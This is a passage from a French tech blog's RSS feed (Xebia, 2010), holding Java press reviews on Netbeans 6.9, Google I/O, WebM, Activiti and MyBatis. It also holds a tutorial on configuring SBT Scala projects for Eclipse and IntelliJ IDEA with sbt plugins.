title="troisime article" href="http://www.certpal.com/blogs/2010/06/eclipse-tips-and-tricks-part-3/">troisième article</a>, plus global, décrit plusieurs astuces comme la définition de raccourcis spécifiques, la customisation de la complétion, l&#8217;import/export des préférences ou la très intéressante vue <code>local history</code>.</p><p>La série n&#8217;étant peut-être pas finie, il faudra garder un œil pour un éventuel quatrième article.</p><h4><a
name="Netbeans"></a>Netbeans 6.9</h4><p>Aprés IntelliJ et Eclipse, Netbeans ! <a
title="Netbeans 69" href="http://netbeans.org/community/releases/69/">Netbeans 6.9</a> est sorti la semaine dernière, environ 7 mois après la 6.8 avec en guest star JavaFX Composer. Pensé un peu comme Java Swing Builder (anciennement projet Matisse), disponible aussi dans Netbeans, cet outil permet de construire graphiquement des éléments d&#8217;un formulaire, associés à des états et une source de données. Tout comme l&#8217;ajout du support de PHP Zend Framework, cette fonctionnalité devrait attirer quelques développeurs plus web que java.</p><p>Parmi les autres nouveautés :</p><ul><li>intégration d&#8217;OSGI</li><li>support de Spring 3.0.0</li><li>support REST web services pour les applications RCP</li><li>support de Rails 3.0</li></ul><p>A noter aussi que cette version est accompagnée de la nouvelle version 3.0.1 de Glassfish qui corrige au moins une centaine de bugs.</p><p>Bien que ce soit une version majeure, pas sûr néanmoins qu&#8217;elle fasse de l&#8217;ombre à la version annuelle d&#8217;Eclipse, Helios de son petit nom, qui sort très prochainement et dont on parlera également dans cette revue de presse.</p><h4><a
name="Choisirentremodjketmodproxypar"></a>Choisir entre mod_jk et mod_proxy, par Mark Thomas</h4><p>Nous avons déjà parlé sur le blog, Mark Thomas enfonce le clou. Sur le blog Tomcat Expert, il s&#8217;est fendu d&#8217;un nouvel article qui se veut une <em>checklist</em> pour choisir entre le mod_jk et le mod_proxy. Mark commence d&#8217;ailleurs en disant clairement que ce sont les seules solutions à considérer aujourd&#8217;hui. Il affiche sa préférence pour le mod_jk et le mod_proxy_http face au mod_proxy_ajp encore un peu jeune. Ses conclusions sont:</p><ul><li>Si vous devez crypter la communication entre Apache et Tomcat, utilisez le mod_proxy.</li><li>Si vous devez exposer à Tomcat les informations SSL, utilisez le mod_jk.</li><li>Si vous avez déjà un de ces modules en production, ne changez rien.</li><li>Mark préfère le mod_proxy_http, pour sa configuration plus consistante.</li></ul><p>Pour plus d&#8217;information, vous pouvez lire son article sur le <a
title="blog Tomcat Expert" href="http://www.tomcatexpert.com/blog/2010/06/16/deciding-between-modjk-modproxyhttp-and-modproxyajp">blog Tomcat Expert</a>, ou connaître notre avis sur la question: <a
title="modproxy vs modjk" href="http://blog.xebia.fr/2010/02/03/tomcat-load-balancing-mod_proxy-vs-mod_jk-le-match/">mod_proxy vs mod_jk</a>.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/05/25/revue-de-presse-xebia-160/</link> <comments>http://blog.xebia.fr/2010/05/25/revue-de-presse-xebia-160/#comments</comments> <pubDate>Tue, 25 May 2010 06:00:06 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Activiti]]></category> <category><![CDATA[Alfresco]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[Google]]></category> <category><![CDATA[Google App Engine]]></category> <category><![CDATA[iBatis]]></category> <category><![CDATA[jBPM]]></category> <category><![CDATA[JRuby]]></category> <category><![CDATA[MyBatis]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=4718</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Google I/O Partenariat entre Google et VMWare App Engine For Business WebM: enfin un standard vidéo libre ? SOA Les créateurs de jBPM chez Alfresco Le coin de la technique MyBatis : un fork de iBatis chez Google Code JRuby 1.5.0 Google I/O Dans [...]]]></description> <content:encoded><![CDATA[<p><img
style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Google I/O</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/05/25/revue-de-presse-xebia-160/#PartenariatentreGoogleetVMWare">Partenariat entre Google et VMWare</a></li><li><a
href="http://blog.xebia.fr/2010/05/25/revue-de-presse-xebia-160/#AppEngineForBusiness">App Engine For Business</a></li><li><a
href="http://blog.xebia.fr/2010/05/25/revue-de-presse-xebia-160/#WebMenfinunstandardvidolibre">WebM: enfin un standard vidéo libre ?</a></li></ul><p><strong>SOA</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/05/25/revue-de-presse-xebia-160/#LescrateursdejBPMchezAlfresco">Les créateurs de jBPM chez Alfresco</a></li></ul><p><strong>Le coin de la  technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/05/25/revue-de-presse-xebia-160/#MyBatisunforkdeiBatischezGoogl">MyBatis : un fork de iBatis chez Google Code</a></li><li><a
href="http://blog.xebia.fr/2010/05/25/revue-de-presse-xebia-160/#JRuby">JRuby 1.5.0</a></li></ul><h3><a
name="GoogleIO"></a>Google I/O</h3><p>Dans le foisonnement d&#8217;annonces lors du <a
title="Google IO 2010" href="http://code.google.com/intl/fr-FR/events/io/2010/">Google I/O 2010</a> qui s&#8217;est tenu la semaine dernière à San Francisco, nous en avons retenu quelques unes très intéressantes.</p><h4><a
name="PartenariatentreGoogleetVMWare"></a>Partenariat entre Google et VMWare</h4><p>VMWare et SpringSource sont décidément très actifs actuellement dans le domaine des partenariats et des acquisitions (<a
title="RabbitMQ" href="http://blog.xebia.fr/2010/04/19/revue-de-presse-xebia-155/#RabbitMQrachetparSpringSource">RabbitMQ</a>, <a
title="GemStone" href="http://blog.xebia.fr/2010/05/11/revue-de-presse-xebia-158/#SpringSourcesedoteduncachedist">GemStone</a> ou <a
title="VMForce" href="http://blog.xebia.fr/2010/05/03/revue-de-presse-xebia-157/#VMwareSpringSalesForceVMforce">VMForce</a>). Google I/O a été l&#8217;occasion pour eux d&#8217;annoncer un nouveau <em>partenariat</em> autour du cloud computing, voire au delà: ils poussent plus loin leur concept d&#8217;<a
title="Open PaaS" href="http://blogs.vmware.com/console/2010/05/google-and-vmwares-open-paas-strategy.html">Open PaaS</a> déjà évoqué pour le partenariat avec SalesForce.</p><p>L&#8217;idée sous-jacente est de faire de VMWare la plateforme de développement privilégiée pour toute solution de PaaS (Plateform as a Service). En citant Steve Herrod, CTO chez VMWare:<br
/> <em><br
/> Developers must be able to write applications without needing to know what underlying technology powers the cloud that they&#8217;ll be deployed on.<br
/> </em></p><p>Et donc on pourrait développer une application App Engine et la tester sur les environnements de Google puis les déployer en production sur des instances VMWare. Au-delà de la problématique de l&#8217;hébergement, Steve Herrod ajoute également la  possibilité d&#8217;accéder aux services Google (géolocalisation, traduction automatique&#8230;) et de diversifier les supports, en particulier sur les smartphones. Ce sont deux notions qu&#8217;on retrouve également dans le partenariat avec SalesForce.</p><p>Tout cela constitue pour l&#8217;instant des vœux pieux. Rod Johnson nous donne un <a
title="aperu" href="http://blog.springsource.com/2010/05/19/spring-google-appengine/">aperçu</a> plus précis de ce que sera ce partenariat:</p><ul><li>Intégration de GWT à l&#8217;outil <a
title="Spring ROO" href="http://www.springsource.org/roo">Spring ROO</a>, l&#8217;outil de SpringSource Tool qui permet de générer des projets Java en ligne de commande.</li><li>Intégration de <a
title="Google Speed Tracer" href="http://code.google.com/intl/fr-FR/webtoolkit/speedtracer/">Google Speed Tracer</a> à <a
title="Spring Insight" href="http://www.springsource.com/products/tcserver/devedition">Spring Insight</a>. Speed Tracer est un très bon outil de mesure de performance côté client, disponible aussi comme extension de chrome, alors que Spring Insight est un outil de mesure de performance plutôt côté serveur et directement accessible dans SpringSource Tool Suite. L&#8217;association des deux semble assez naturelle.</li></ul><p>Il est encore difficile de voir la pertinence de ce nouveau paradigme, l&#8217;Open PaaS, et si l&#8217;hétérogénéité des solutions ne va pas le rendre un peu creux. Mais au-delà de ça, la stratégie actuelle de VMWare semble être la captation des développeurs Java vers leurs outils et en particulier SpringSource Tool Suite.</p><h4><a
name="AppEngineForBusiness"></a>App Engine For Business</h4><p>Au-delà du partenariat avec VMWare et alors qu&#8217;aujourd&#8217;hui App Engine a encore une étiquette (un peu) de bricolage, Google a la volonté de percer dans les entreprises et d&#8217;ajouter tout un arsenal prompt à rassurer celles qui voudraient se lancer. D&#8217;où la nouvelle offre <a
title="Google App Engine For Business" href="http://googlecode.blogspot.com/2010/05/announcing-google-app-engine-for.html">Google App Engine For Business</a> qui s&#8217;articule autour de ces points:</p><ul><li>Administration centralisée : cette console permettrait de gérer, entre autres, plusieurs projets d&#8217;une même entreprise.</li><li>Fiabilité et support : une garantie de SLA de 99.9% et support pour les utilisateurs.</li><li>Sécurisation par défaut : l&#8217;application serait par défaut sécurisé par les comptes Google App de l&#8217;entreprise.</li><li>Coût raisonnable : la plateforme serait disponible pour 8$ par utilisateur et par mois, plafonné à 1000$.</li><li>une architecture plus orientée entreprise : utilisation du SSL à l&#8217;intérieur du domaine de l&#8217;entreprise, utilisation des services avancés de Google et surtout enfin accès à des <em>bases SQL</em> (c&#8217;était un des gros points noirs d&#8217;App Engine). Ces nouveautés seraient disponibles dans le courant de l&#8217;année.</li></ul><p>Plus de détails <a
title="ici" href="http://code.google.com/intl/fr-FR/appengine/business/#features">ici</a>.</p><h4><a
name="WebMenfinunstandardvidolibre"></a>WebM: enfin un standard vidéo libre ?</h4><p>Le Google I/O a aussi été l&#8217;occasion pour le géant de faire une annonce que de nombreux partisans d&#8217;un internet ouvert espéraient depuis le rachat de la société On2. Jusqu&#8217;à présent, les formats vidéo &laquo;&nbsp;du futur&nbsp;&raquo; étaient d&#8217;un coté H264, et de l&#8217;autre Theora. H264, meilleur techniquement que Théora avait le gros désavantage de traîner derrière lui nombre de brevets. Le consortium gérant ce format avait déclaré ne pas désirer recevoir de royalties avant quelques années. Mais le format n&#8217;en restait pas moins propriétaire et l&#8217;épée de Damoclès des royalties était susceptible de s&#8217;abattre plus tard sur ses utilisateurs. Cette guerre commençait à devenir visible au niveau des navigateurs et de leur support de la balise video du HTML5. Pour rappel, la spécification de celle-ci n&#8217;impose aucun codec. Nous arrivions donc à une situation difficile où certains navigateurs ne supportaient que Theora (<a
title="Firefox" href="http://standblog.org/blog/post/2010/01/26/Video-Theora-ou-H264">Firefox</a>) et d&#8217;autres que le H264 (Safari). L&#8217;incertitude était de mise quant à préserver un web standardisé mais ouvert. C&#8217;est là que Google intervient en proposant un nouveau projet, <a
title="WebM" href="http://www.webmproject.org/">WebM</a>, et endosse son costume de sauveur du web.<br
/> Ce projet est destiné à développer un format vidéo libre. Techniquement, des fichiers WebM contiendront:</p><ul><li>de la vidéo au format VP8</li><li>du son en <a
title="Vorbis" href="http://fr.wikipedia.org/wiki/Vorbis">Vorbis</a></li><li>le tout dans un conteneur <a
title="Matroska" href="http://fr.wikipedia.org/wiki/Matroska">Matroska</a>.</li></ul><p>Certaines voix <a
title="se sont dores et dj leves" href="http://x264dev.multimedia.cx/?p=377">se sont d&#8217;ores et déjà élevées</a> pour dénoncer le format VP8 pour diverses raisons, mais il y a fort à parier que ce codec soit celui que tout le web attendait, notamment pour utiliser la norme HTML5 sans soucis de compatibilité. Les versions de développement de Firefox et Chrome intègrent déjà le support de ce format, les mobiles Android devraient le faire avant la fin de l&#8217;année et Adobe, avec Flash, suivra aussi.</p><p>A coté de l&#8217;aspect technique, il nous semble intéressant de nous attarder sur <a
title="la licence de WebM" href="http://www.webmproject.org/license/software/">la licence de WebM</a> qui est assez singulière et participera à n&#8217;en pas douter à imposer WebM. L&#8217;un des problème de ce projet est que, malgré toutes les dispositions prises, il n&#8217;est pas certain qu&#8217;un bout de code quelque-part n&#8217;enfreigne pas un quelconque brevet&#8230; Or, la licence stipule, en gros, que quiconque intentera un procès au projet ou à ses utilisateurs devra cesser d&#8217;utiliser le projet lui-même. C&#8217;est un coup de génie: si WebM commence à s&#8217;imposer (ce dont nous ne doutons pas avec la puissance de feu de Google, Youtube&#8230;), alors les entreprises susceptibles de lui intenter un procès ne le pourront pas, car elles seront en même temps obligées de l&#8217;utiliser elle-mêmes pour ne pas pénaliser leurs propres utilisateurs. Impossible d&#8217;imaginer les utilisateurs d&#8217;Opera interdits de Youtube pour cause de format vidéo non supporté par exemple: ils auraient tôt fait de migrer vers un autre navigateur. Google tient donc peut être, avec WebM, le nouveau standard vidéo du Web. En tout cas, il entend bien l&#8217;imposer comme tel.</p><h3><a
name="SOA"></a>SOA</h3><h4><a
name="LescrateursdejBPMchezAlfresco"></a>Les créateurs de jBPM chez Alfresco</h4><p>Alfresco <a
title="a annoncé" href="http://www.alfresco.com/media/releases/2010/05/activiti_bpm/">a annoncé</a> son nouveau BPMS, <a
title="Activiti" href="http://www.activiti.org/">Activiti</a>, mené par le créateur de jBPM, Tom Baeyens, et de son ancien <em>lead developer</em> Joram Barrez, tous deux partis de chez JBoss <a
title="il y a peu" href="http://blog.xebia.fr/2010/05/03/revue-de-presse-xebia-157/#RefontedejBPMchezJBoss">il y a peu</a>.</p><p>A l&#8217;instar de jBPM, Activiti est un BPMS léger, qui s&#8217;intègre facilement à nos applications Java. Il propose en plus, une console d&#8217;administration et un modeler graphique en ligne.</p><p>Par ailleurs, il s&#8217;appuie sur le standard BPMN 2.0, et bénéficie ainsi à la fois d&#8217;une sémantique d&#8217;exécution, ainsi que d&#8217;un modèle de représentation graphique. Cette décision marque bien le contraste avec le choix précédent des créateurs, lors du développement  de jBPM, de s&#8217;appuyer sur un format propriétaire, jPDL.</p><p>L&#8217;éditeur de la célèbre solution ECM a toutefois annoncé qu&#8217;il continuerait le support de jBPM au sein de sa suite logicielle. Bonne nouvelle, pour les nombreux projets qui ont déjà investi dans la solution de jBoss.</p><p>On notera enfin que SpringSource annonce la collaboration de Dave Syer, project lead de Spring Batch, avec l&#8217;équipe d&#8217;Activiti. On devrait donc s&#8217;attendre à un prochain support de BPMN dans les applications Spring.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la  technique</h3><h4><a
name="MyBatisunforkdeiBatischezGoogl"></a>MyBatis : un fork de iBatis chez Google Code</h4><p>Alors que la version 3.0 d&#8217;iBatis <a
title="a été finalisée" href="http://ibatis.apache.org/java.cgi">a été finalisée</a> il y a un mois après une longue période de gestation, une <a
title="annonce majeure" href="http://ibatis.apache.org/">annonce majeure</a> pour l&#8217;avenir du projet vient d&#8217;être diffusée sur son site. Le créateur d&#8217;iBatis, Clinton Begin, ainsi que plusieurs des principaux <em>commiters</em> ont décidé de créer un <em>fork</em> du projet en dehors de la fondation Apache.</p><p>Ce nouveau projet est baptisé MyBatis et <a
title="est hébergé" href="http://code.google.com/p/mybatis/">est hébergé</a> sur Google Code. Le projet iBatis d&#8217;origine est conservé au sein de la fondation, mais stoppé. Il devient donc un sous-projet d&#8217;<a
title="Apache Attic" href="http://attic.apache.org/">Apache Attic</a> qui regroupe les projets Apache dépréciés.</p><p>Clinton Begin clarifie les principales questions que l&#8217;on peut se poser suite à cette annonce :</p><ul><li>Les noms des <em>packages</em> ne changent pas, et la compatibilité ascendante est préservée avec le passage à MyBatis.</li><li>Les branches 2.x et 3.x sont préservées dans MyBatis avec la disponibilité immédiate des versions 2.3.5 et 3.0.1.</li><li>La licence est conservée.</li></ul><p>Cette annonce est pour le moins inattendue mais dans la mesure où il s&#8217;agit d&#8217;un transfert de responsabilité plus que d&#8217;un <em>fork</em>, les ressources du projet ne seront pas divisées et son activité devrait donc être préservée.</p><h4><a
name="JRuby"></a>JRuby 1.5.0</h4><p>Avec un peu de retard, nous tenons quand même à signaler la sortie de JRuby en version 1.5.0. Cette version a été celle de la maturation du moteur. En terme de compatibilité avec le langage Ruby, très peu d&#8217;ajouts ont été faits. En revanche, beaucoup d&#8217;ajouts de stabilité, améliorations de l&#8217;utilisation mémoire, du support de Windows, support de Ruby On Rails version 3. Pour le détail : l&#8217;<a
title="Annonce officielle" href="http://www.jruby.org/2010/05/12/jruby-1-5-0.html">Annonce officielle</a>.</p><h3><a
name="Lastucedelasemaine"></a>L&#8217;astuce de la semaine</h3><p>Nous inaugurons aujourd&#8217;hui une nouvelle rubrique qui est destinée à vous faire part brièvement de petites astuces qui, nous l&#8217;espérons, pourront vous être utiles. Et c&#8217;est le tout récent <a
title="Eclipse MarketPlace" href="http://marketplace.eclipse.org/">Eclipse MarketPlace</a> qui honore cette nouvelle rubrique de sa présence. Pour rappel, le MarketPlace est le successeur de <a
title="Eclipse Plugin Central" href="http://eclipseplugincentral.com/">Eclipse Plugin Central</a> (maintenant en fin de vie) et destiné à lui ajouter <a
title="de nombreuses fonctionnalits" href="http://ianskerrett.wordpress.com/2009/12/08/eclipse-marketplace-is-now-live/">de nombreuses fonctionnalités</a>.<br
/> Dans <a
title="son post" href="http://eclipse.dzone.com/articles/installing-multiple-eclipse">son post</a>, Zviki Cohen nous apprend comment utiliser le MarketPlace pour créer des liste de plugins et les installer facilement. C&#8217;est une astuce qui peut être particulièrement intéressante lorsque l&#8217;on cherche à uniformiser les postes de développement par exemple: il suffit d&#8217;une URL pour ajouter à une installation d&#8217;Eclipse tous les plugins utilisés. C&#8217;est une alternative pratique à l&#8217;installation manuelle par chaque développeur qu&#8217;on retrouve souvent sur les projets.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/05/25/revue-de-presse-xebia-160/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Configurer vos projets SBT pour Eclipse ou IntelliJ IDEA</title><link>http://blog.xebia.fr/2010/05/11/configurer-vos-projets-sbt-pour-eclipse-ou-intellij-idea/</link> <comments>http://blog.xebia.fr/2010/05/11/configurer-vos-projets-sbt-pour-eclipse-ou-intellij-idea/#comments</comments> <pubDate>Tue, 11 May 2010 12:40:09 +0000</pubDate> <dc:creator>Romain Maton</dc:creator> <category><![CDATA[Divers]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[git]]></category> <category><![CDATA[IDEA]]></category> <category><![CDATA[SBT]]></category> <category><![CDATA[scala]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=4621</guid> <description><![CDATA[Dans la lignée du premier article consacré à la présentation de l&#8217;outil sbt pour Scala, ce second article s&#8217;intéressera à la configuration de nos projets sbt. Objectif : pouvoir les importer dans nos IDEs Scala préférés (surtout les miens ) à savoir IntelliJ IDEA (Community ou Ultimate Edition) et Eclipse. Git et sbt sont les [...]]]></description> <content:encoded><![CDATA[<p>Dans la lignée du <a
href="http://blog.xebia.fr/2010/05/06/sbt-simple-build-tool-pour-scala/" title="premier article" >premier article</a> consacré à la présentation de l&#8217;outil sbt pour Scala, ce second article s&#8217;intéressera à la configuration de nos projets sbt.<br
/> Objectif : pouvoir les importer dans nos IDEs Scala préférés <em>(surtout les miens <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> )</em> à savoir IntelliJ IDEA <em>(Community ou Ultimate Edition)</em> et Eclipse. <a
href="http://progit.org/book/ch1-4.html" title="Git" >Git</a> et <a
href="http://code.google.com/p/simple-build-tool/wiki/Setup" title="sbt" >sbt</a> sont les seuls composants pré-requis pour ce tutoriel.</p><p>Nous allons ainsi entrevoir le mécanisme de plugin de sbt ainsi que l&#8217;application de plugins sur un projet sbt. Pour celles et ceux qui connaissent un minimum ces deux environnements de développement, rien de bien sorcier : ajouter une facet Scala au projet, définir certains répertoires en tant que répertoires sources, d&#8217;autres en tant que répertoires de tests, définir _lib_managed_ en tant que dossier de librairies&#8230; Il est donc tout à fait possible de faire tout ceci à la main en quelques minutes. L&#8217;idée ici est vraiment de jouer avec quelques plugins sbt et les intégrer à un projet existant.</p><p>Si vous êtes plutôt Emacs ou Vim, je vous renvoie sur le <a
href="http://code.google.com/p/simple-build-tool/wiki/IntegrationSupport" title="site de sbt" >site de sbt</a> pour la configuration à adopter.</p><h3><a
name="Eclipse"></a>Eclipse</h3><p>Nous allons importer notre projet à l&#8217;aide du plugin <a
href="http://github.com/musk/SbtEclipsify" title="SbtEclipsify" >SbtEclipsify</a>. Ce plugin prend en charge la création de tous les fichiers nécessaires à Eclipse <em>.project,.classpath&#8230;)</em> afin que le projet soit importable et intégralement configuré. Il n&#8217;est actuellement disponible sur aucun repository, il va donc falloir soit télécharger le Jar et le déposer dans son repository local, soit récupérer le projet et utiliser sbt pour le compiler et le publier en local. Nous partirons sur ce deuxième choix <em>(pour utiliser quelques petites commandes sbt)</em>.</p><p>Tout d&#8217;abord, nous allons récupérer le projet à l&#8217;aide de la commande <code>git clone</code> :</p><pre class="brush: java; title: ; notranslate">
$ git clone http://github.com/musk/SbtEclipsify.git
</pre><p>Ensuite, nous allons démarrer sbt et faire un <code>update</code> pour mettre à jour toutes les dépendances du projet :</p><pre class="brush: java; title: ; notranslate">
$ sbt
$ update
</pre><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/05/1-git-clone-sbt-update.png" border="0" alt="" /></div><p>Nos dépendances étant à jour, nous allons pouvoir compiler et publier le projet à l&#8217;aide de la commande <code>publish-local</code> <em>(image tronquée)</em> :</p><pre class="brush: java; title: ; notranslate">
$ publish-local
</pre><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/05/2-publish-local.png" border="0" alt="" width="650" /></div><p>Maintenant que le Jar est disponible dans notre repository, nous allons pouvoir configurer notre projet avec cette nouvelle dépendance. Pour cela, créons le fichier <code>project/plugins/Plugins.scala</code> et ajoutons le plugin sbt-eclispsify :</p><pre class="brush: java; title: ; notranslate">
import sbt._
 class MySbtProjectPlugins(info: ProjectInfo) extends PluginDefinition(info) {
       lazy val eclipse = &quot;de.element34&quot; % &quot;sbt-eclipsify&quot; % &quot;0.5.2-SNAPSHOT&quot;
 }
</pre><p>Dernière étape avant de tout builder : modifier notre fichier projet, dans la classe <code>project/build/MyProject.scala</code>, pour marquer notre projet en tant que projet <em>eclipsifiable</em> à l&#8217;aide du trait <code>Eclipsify</code> :</p><pre class="brush: java; title: ; notranslate">
import sbt._
import de.element34.sbteclipsify._
class MyProject(info: ProjectInfo) extends DefaultProject(info) with Eclipsify {
   // ...
}
</pre><p>Voilà, tout est prêt, démarrons sbt et lançons la commande <code>eclipse</code> après avoir mis à jour nos dépendances pour notre projet <em>(à l&#8217;aide de la commande <code>update</code>)</em> :</p><pre class="brush: java; title: ; notranslate">
$ sbt
$ update
$ eclipse
</pre><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/05/3-update-eclipse.png" border="0" alt="" /></div><p>That&#8217;s all ! Il n&#8217;y a plus qu&#8217;à faire un import dans Eclipse de votre projet. A partir de maintenant, la commande <code>eclipse</code> ne devrait plus vous servir. Il faudra dès lors passer par <code>reload</code> lors de modifications concernant vos plugins ou vos dépendances pour mettre à jour votre contexte sbt et bien sûr <code>update</code> pour la mise à jour de vos dépendances.</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/05/4-eclipse-import.png" border="0" alt="" /></div><p>A noter que d&#8217;autres plugins existent :</p><ul><li><a
href="http://github.com/frank06/sbt-eclipse-plugin/" title="sbteclipseplugin" >sbt-eclipse-plugin</a> : ce plugin n&#8217;est ni plus ni moins qu&#8217;un container de type classpath qui pointe vers le dossier <code>lib_managed</code>. L&#8217;outil fonctionne très bien mais les manipulations sont à effectuer à la main et aucune opération en ligne de commande <em>(pour automatisation)</em> n&#8217;est disponible pour l&#8217;instant. A surveiller donc ;</li><li><a
href="http://ant.apache.org/ivy/ivyde/screenshots.html" title="IvyIDE" >IvyIDE</a> <em>(avec la procédure d&#8217;installation <a
href="http://code.google.com/p/simple-build-tool/wiki/IntegrationSupport#Eclipse" title="ici" >ici</a>)</em>.</li></ul><h3><a
name="IntelliJIDEA"></a>IntelliJ IDEA</h3><p>Plusieurs plugins existent et, pour ma part, j&#8217;ai choisi le plugin <a
href="http://github.com/mpeltonen/sbt-idea-plugin" title="sbtideaplugin" >sbt-idea-plugin</a>. A noter que celui-ci fournit son propre repository maven donc pas de <code>git clone</code> sur le projet avec un <code>publish-local</code> comme pour SbtEclipsify. Tout se fait cette fois-ci très simplement !</p><p>Comme pour SbtEclipsify, le plugin fournit un trait qu&#8217;il faudra ajouter à sa classe projet qui lui permettra d&#8217;avoir la commande <code>idea</code> disponible dans le shell.</p><p>Il faut donc tout d&#8217;abord se rendre dans la classe <code>project/plugins/Plugins.scala</code> et ajouter ces quelques lignes. Elles ajouteront un repository distant et la dépendance du plugin :</p><pre class="brush: java; title: ; notranslate">
val repo = &quot;GH-pages repo&quot; at &quot;http://mpeltonen.github.com/maven/&quot;
val idea = &quot;com.github.mpeltonen&quot; % &quot;sbt-idea-plugin&quot; % &quot;0.1-SNAPSHOT&quot;
</pre><p>Maintenant que notre plugin est prêt à l&#8217;emploi, nous allons l&#8217;ajouter dans la configuration de notre projet <em>(toujours au niveau de <code>project/build/MyProject.scala</code>)</em>. Cela nous donne :</p><pre class="brush: java; title: ; notranslate">
import sbt._
import de.element34.sbteclipsify._
class MainProject(info: ProjectInfo) extends ParentProject(info) with IdeaPlugin {
  lazy val myProject = project(&quot;myproject&quot;, &quot;My Project&quot;, new DefaultProject(_) with IdeaPlugin)
   // ...
}
</pre><p>Grosse différence avec Eclipse : le plugin fonctionne par défaut, même si l&#8217;on a qu&#8217;un seul project, comme une arborescence de projets. Ainsi, nous aurons un projet parent composé de sous-projet(s). Pour utiliser ce plugin, nous allons donc <em>(cf. code ci-dessus)</em> créer un projet <code>MainProject</code> en tant que conteneur de projet en étendant <code>ParentProject</code>. Ensuite, nous créerons dans ce projet sbt un projet de type <code>DefaultProject</code> qui contiendra notre code <em>({{src/main/scala}}&#8230;)</em>.<br
/> Notez que les deux projets utilisent le trait <code>IdeaPlugin</code>. En effet, IntelliJ IDEA gère parfaitement l&#8217;arborescence de projets. Nous aurons donc les deux projets importés dans l&#8217;IDE avec la vue projets qui nous affichera le projet parent et notre projet.</p><p>A ce niveau, comme pour Eclipse, tout est prêt ! Donc un <code>update</code> et cette fois-ci un <code>idea</code> pour lancer le plugin :</p><pre class="brush: java; title: ; notranslate">
$ sbt
$ update
$ idea
</pre><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/05/5-update-idea.png" border="0" alt=""  width="650" /></div><p>Et le résultat avec notre projet parent contenant notre sous-projet une fois importé dans IntelliJ IDEA <em>(par le fichier <code>.ipr</code>)</em> :</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/05/6-intellij-idea.png" border="0" alt=""  width="650" /></div><h3><a
name="Lesdeux"></a>Les deux ?</h3><p>Et si tout comme moi, cela vous arrive de <em>switcher</em> de l&#8217;un à l&#8217;autre selon votre humeur <em>(tiens aujourd&#8217;hui j&#8217;ai envie de faire du Eclipse <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> )</em>, vous pourrez bien évidemment configurer votre projet pour qu&#8217;il accueille ces deux environnements de développement. La configuration finale sera un mix de ce que l&#8217;on a vu précédemment. En ne prenant pas le projet parent en tant que projet Eclipse <em>(car il ne les gère pas très bien)</em>, cela nous donne tout simplement :</p><pre class="brush: java; title: ; notranslate">
class MainProject(info: ProjectInfo) extends ParentProject(info) with IdeaPlugin {
   lazy val myProject = project(&quot;myproject&quot;, &quot;My Project&quot;, new MyProject(_) with IdeaPlugin with Eclipsify)
   class MyProject(info: ProjectInfo) extends DefaultProject(info) {
      // Put here MyProject dependencies
   }
}
</pre><p>Cette configuration fonctionne <em>out-of-the-box</em> pour IntelliJ IDEA, par contre pour Eclipse un problème de build path subsiste. Il est directement lié à cette arborescence de projets <em>(module / sous-module)</em> qui n&#8217;est actuellement pas géré par le plugin  :</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/05/7-erreur-eclipse.png" border="0" alt=""  width="650" /></div><p>Il faudra donc modifier à la main le build path de notre projet. Une fois celui-ci modifié, le projet sera opérationnel pour Eclipse et vous n&#8217;aurez plus qu&#8217;à faire des <code>sbt update</code> pour mettre à jour vos dépendances :</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/05/8-configuration-eclipse.png" border="0" alt=""  width="650" /></div><p>Dernière chose, entre la configuration pour avoir les deux plugins et celle d&#8217;IntelliJ IDEA standalone : notez  la  différence concernant le sous-projet <code>MyProject</code> avec non plus l&#8217;utilisation directe d&#8217;une nouvelle instance de <code>DefaultProject</code> mais la création et l&#8217;instanciation d&#8217;une nouvelle classe <code>MyProject</code> qui étend <code>DefaultProject</code>. Cela va nous permettre de définir des dépendances uniquement au niveau du sous-projet et ainsi ne pas tout mettre au niveau du projet parent. Il est dès lors possible d&#8217;ajouter plusieurs sous-projets à <code>MainProject</code> et ainsi se retrouver avec le même type d&#8217;arborescence de modules que l&#8217;on retrouve dans nos projets maven.</p><p>Vous pouvez toujours récupérer le petit projet <a
